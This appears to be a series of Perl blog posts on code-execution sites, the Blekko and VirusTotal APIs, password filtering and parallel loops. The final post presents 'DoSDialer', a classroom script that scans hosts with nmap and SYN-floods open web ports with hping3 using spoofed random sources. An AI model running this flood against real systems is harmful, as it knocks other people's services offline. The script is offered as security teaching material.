Execute and Share Your Perl Code on a Remote Server

Code sharing sites like Pastebin.com have been around for quite some time now, but in recent years they have begun to become much more sophisticated in that they now support features like syntax highlighting for a variety of different languages.  I recently ran across two such sites that take things one step further and even allow for server side execution of code.  One such site is codepad.org and the other is Ideone.com.   Both allow Perl scripts to be executed on their server and may be useful to anyone who is not near a locally installed Perl interpreter, but has that idea they just need to try right now.  One of the main differences between the two as far as Perl programming is concerned is that codepad uses Perl v5.8 whereas Ideone makes use of Perl v5.12.1 and also has support for Perl6.  Both sites support the use of some Perl modules and there are likely differences in the modules supported by each site, so it may pay to keep both sites in mind.  If your code fails to execute due to lack of installed modules on one platform, perhaps they may execute on another platform.  Of course there are some additional restrictions as well as neither site allows scripts to establish network connections and reading and writing to files are also prohibited. 

For those considering using the sites for other languages, codepad supports C, C++, D, Haskell, Lua, OCaml, PHP, Perl, Python, Ruby, Scheme, and Tcl.  Ideone supports >40 languages in all, including all of the ones supported by codepad as well as popular languages like Java, JavaScript, C#, and Objective-C. 

A Quick Look at the Blekko Search API

While less of a household name than some of the other search giants, the search engine Blekko also puts out a search API that can be incorporated into a Perl script.  There is a CPAN module already available that serves as a wrapper between the Blekko API and your Perl application (http://search.cpan.org/~wumpus/WebService-Blekko-1.00_07/lib/WebService/Blekko.pm), but in this little code snippet we will focus on direct access to the Blekko API.  One option that direct access of the API allows for that the CPAN module does not is retrieval of results in an RSS format. 

The Blekko API works via a GET request and requires at a minimum that the query of interest be appended to the URL as follows:

http://blekko.com/ws/?q=”QUERYTERMS”

While this will work to retrieve results in an HTML format, slashtags can be specified to retrieve results in a different format.  /json will result in JSON results being returned, while /rss will result in the results being returned in an RSS format.  Other slashtags such as /ps can also be applied to further control the returned results.  The /ps slashtag controls the number of returned results.  The demo code below will make use of the /rss slashtag to retrieve XML results which will parsed with the XML::LibXML module in order to extract the URL and description of each result.  The sample Perl code is as follows:

#!usr/bin/perl
# Copyright 2012- Christopher M. Frenz
# This script is free software - it may be used, copied, redistributed, and/or modified
# under the terms laid forth in the Perl Artistic License
 
use LWP;
use XML::LibXML;
use strict;
 
my $ua=LWP::UserAgent->new();
my $query='perl programming';
my $url="http://blekko.com/ws/?q=$query+/rss";
my $response=$ua->get($url);
my $results=$response->content; die unless $response->is_success;
 
my $parser=XML::LibXML->new;
my $domtree=$parser->parse_string($results);
my  @Records=$domtree->getElementsByTagName("item");
my $i=0;
foreach(@Records){
   my $link=$Records[$i]->getChildrenByTagName("link");
   print "$i $link\n";
   my $description=$Records[$i]->getChildrenByTagName("description");
   print "$description\n\n";
   $i++;
}

Note, that at the time of this writing Blekko does not enforce the need for an API key, so it is not included in the example.  However, they do issue API keys and thus may enforce their use in the future.  Blekko API keys can be obtained from apiauth@blekko.com. 

Are Your Passwords Complex Enough?

One of the common rules of password security is to never pick a dictionary word or a minor substitution of a dictionary word as a password.  Despite this well known adage, many password complexity filters will verify the number of uppercase, lowercase, numerical, and special characters, as well as length, yet will never check to see if the password contains a dictionary word.  In this article, I demonstrate the development of a Perl based password complexity filter that will check to see if a password contains a dictionary word or a minor variant of one.  The article can be accessed here: The Development of a Perl-based Password Complexity Filter

For anyone interested in using this methodology in their own Perl applications, the technique described in the article has been incorporated into the Data::Password::Filter  module by Mohammad S Anwar.  The Perl module can be found here: http://search.cpan.org/~manwar/Data-Password-Filter-0.04/lib/Data/Password/Filter.pm

Code Mining?

As computer programming professionals we are often looking for code samples that illustrate how to use that new API or that library that we have not yet had experience with.  As such it got me wondering about whether or not such tasks could be automated in some way, which led to the publication of the following article on CodeGuru: Creating Your Own Search Engine for C/C++ Code Samples

In the article I discuss how to make use of the Bing API to retrieve keyword results that pertain to the programming topic of interest.  After making use of the Bing API, the example script downloads the Web page associated with each result link and uses regular expression based pattern matching to attempt to extract the snippets of C\C++ code contained in the Web page.  I wonder how hard this would be to do for Perl :)

Take Full Advantage of Your Multicore CPU with Parallel::Loops

One of the Perl modules that I have found very useful lately is the Parallel::Loops module (http://search.cpan.org/~pmorch/Parallel-Loops/lib/Parallel/Loops.pm), since it easily allows you to run all of your loops in parallel and take advantage of all of the cores in your CPU.  While there are some limitations on when the module should be used, such as any type of loop where one iteration is dependent on a previous iteration or where the execution order of iterations needs to be maintained, there are many situations where each iteration can be considered a distinct entity.  It is in these cases that the Parallell::Loops module provides an easy way to parallelize a part of your application. 

Let’s consider an example application of a simple link spider that will take the URLs of 4 Web pages and extract the links present on each page using the WWW::Mechanize module’s (http://search.cpan.org/~jesse/WWW-Mechanize-1.72/lib/WWW/Mechanize.pm) links() method.  Instead of processing each Web page one by one, the Parallel::Loops module will be used to parallelize our loop into 4 processes and simultaneously extract the links from each page.  The Perl script is as follows:

 #!usr/bin/perl

# Copyright 2012- Christopher M. Frenz
# This script is free software - it may be used, copied, redistributed, and/or modified
# under the terms laid forth in the Perl Artistic License

use Parallel::Loops;
use WWW::Mechanize;
use strict;

my @links=('http://www.apress.com','http://www.oreilly.com','http://www.osborne.com','http://samspublishing.ca');

my $maxProcs = 4;
my $pl = Parallel::Loops->new($maxProcs);

my @newlinks;
$pl->share(\@newlinks);

$pl->foreach (\@links, sub{
   my $link=$_;
   my $ua=WWW::Mechanize->new();
   $ua->get($link);
   my @urls=$ua->links();
   for my $url(@urls){
      $url=$url->url;
      push (@newlinks, $url);
   }
 
});

for my $newlink(@newlinks){
   print "$newlink \n";
}

 

In the script it is important to note the line “$pl->share(\@newlinks);”  as any elements pushed onto the child copies of this shared array will automatically be transferred to the parent process when the child process is completed.  The print statement at the end of the script allows for verification of this, as the resultant set of links should contain links from each of the 4 Web pages.  The parallelization can be verified with the Linux “top” command.  In the image below, note the multiple Perl processes (Note: the “defunct” occurred because I caught the screen shot as the child processes were coming to an end).  

Using the VirusTotal API v2.0

VirusTotal is a very useful Website for getting the opinions of >40 anti-virus products as to whether or not a file is infected with malware.  What is particularly interesting is that in addition to their Web interface, they offer an API for their service (https://www.virustotal.com/documentation/public-api/).  While their documentation for their API is good, all of the code examples are in Python.  The code snippets below illustrate how to interact with the VirusTotal API using Perl.  The first LWP request of the application demonstrates the submission of a file to VirusTotal.  The JSON response is then processed to obtain the SHA256 hash of the submitted file, which in turn is used as part of a second request to VirusTotal to retrieve the scan results.  The response from the second request will indicate how many AV products flagged the file as containing a virus. 

In terms of testing the API, it may be helpful to consider using EICAR test strings (http://www.eicar.org/86-0-Intended-use.html) as they provide a safe way to trigger the majority of AV scanners.  The Test.txt file used to test the code provided here contained an EICAR test string.  

 #!usr/bin/perl

# Copyright 2012- Christopher M. Frenz
# This script is free software - it may be used, copied, redistributed, and/or modified
# under the terms laid forth in the Perl Artistic License

use LWP::UserAgent;
use JSON;
use strict;

#Code to submit a file to Virus Total
my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 1 });
my $url='https://www.virustotal.com/vtapi/v2/file/scan';

my $key='YourKeyHere';

my $response = $ua->post( $url,
    Content_Type => 'multipart/form-data',
    Content => ['apikey' => $key,
    'file' => ['Test.txt']]
  );
die "$url error: ", $response->status_line
   unless $response->is_success;
my $results=$response->content;

#pulls the sha256 value out of the JSON response
#Note: there are many other values that could also be pulled out
my $json = JSON->new->allow_nonref;   
my $decjson = $json->decode( $results);
my $sha=$decjson->{"sha256"};
print $sha ."\n\n";

#Code to retrieve the results that pertain to a submitted file by hash value
$url='https://www.virustotal.com/vtapi/v2/file/report';

$response = $ua->post( $url,
    ['apikey' => $key,
    'resource' => $sha]
  );
die "$url error: ", $response->status_line
   unless $response->is_success;
$results=$response->content;

#processes the JSON to see how many AV products consider the file a virus
$json = JSON->new->allow_nonref;   
$decjson = $json->decode( $results);
print $decjson->{"positives"};

DoSDialer

The DoSDialer script presented below was written to demonstrate to a computer security class how scripting languages like Perl could be used to automate certain tasks, as well as provide a way to integrate the functionality of multiple security tools.  The script requires that both nmap and hping3 are installed on the host system and needs to be run using sudo (required by hping3).  DoSDialer takes a list of IP addresses and runs an nmap scan of each IP address to determine if port 80 or port 443 is open at that particular IP address.  If the IP address has one of the two ports open, it then proceeds to use hping3 to launch a SYN flood against the IP address.  The duration of the SYN flood is controlled by invoking the Linux ulimit command in the hping3 system call.  Please only consider running this script against your own systems.  

#!usr/bin/perl

# Copyright 2011- Christopher M. Frenz
# This script is free software - it may be used, copied, redistributed, and/or modified
# under the terms laid forth in the Perl Artistic License

@IPs=("192.168.1.2", "192.168.1.3");
$DoSTime=10; #how many seconds you want to DoS

foreach $IP(@IPs){
  #back tick system calls return STDOUT to perl
  $nmap=`nmap -sS $IP`;
  if($nmap=~/(80|443)\/tcp/){
    $port=$1;
    print "$nmap\n\n";
    #system does not return STDOUT
    system("ulimit -t $DoSTime; hping3 --flood --rand-source -S -p $port $IP");
    print "$IP has been DoSed on port $port\n\n";
  }
  else{print "$IP does not have a Web server to DoS\n\n";}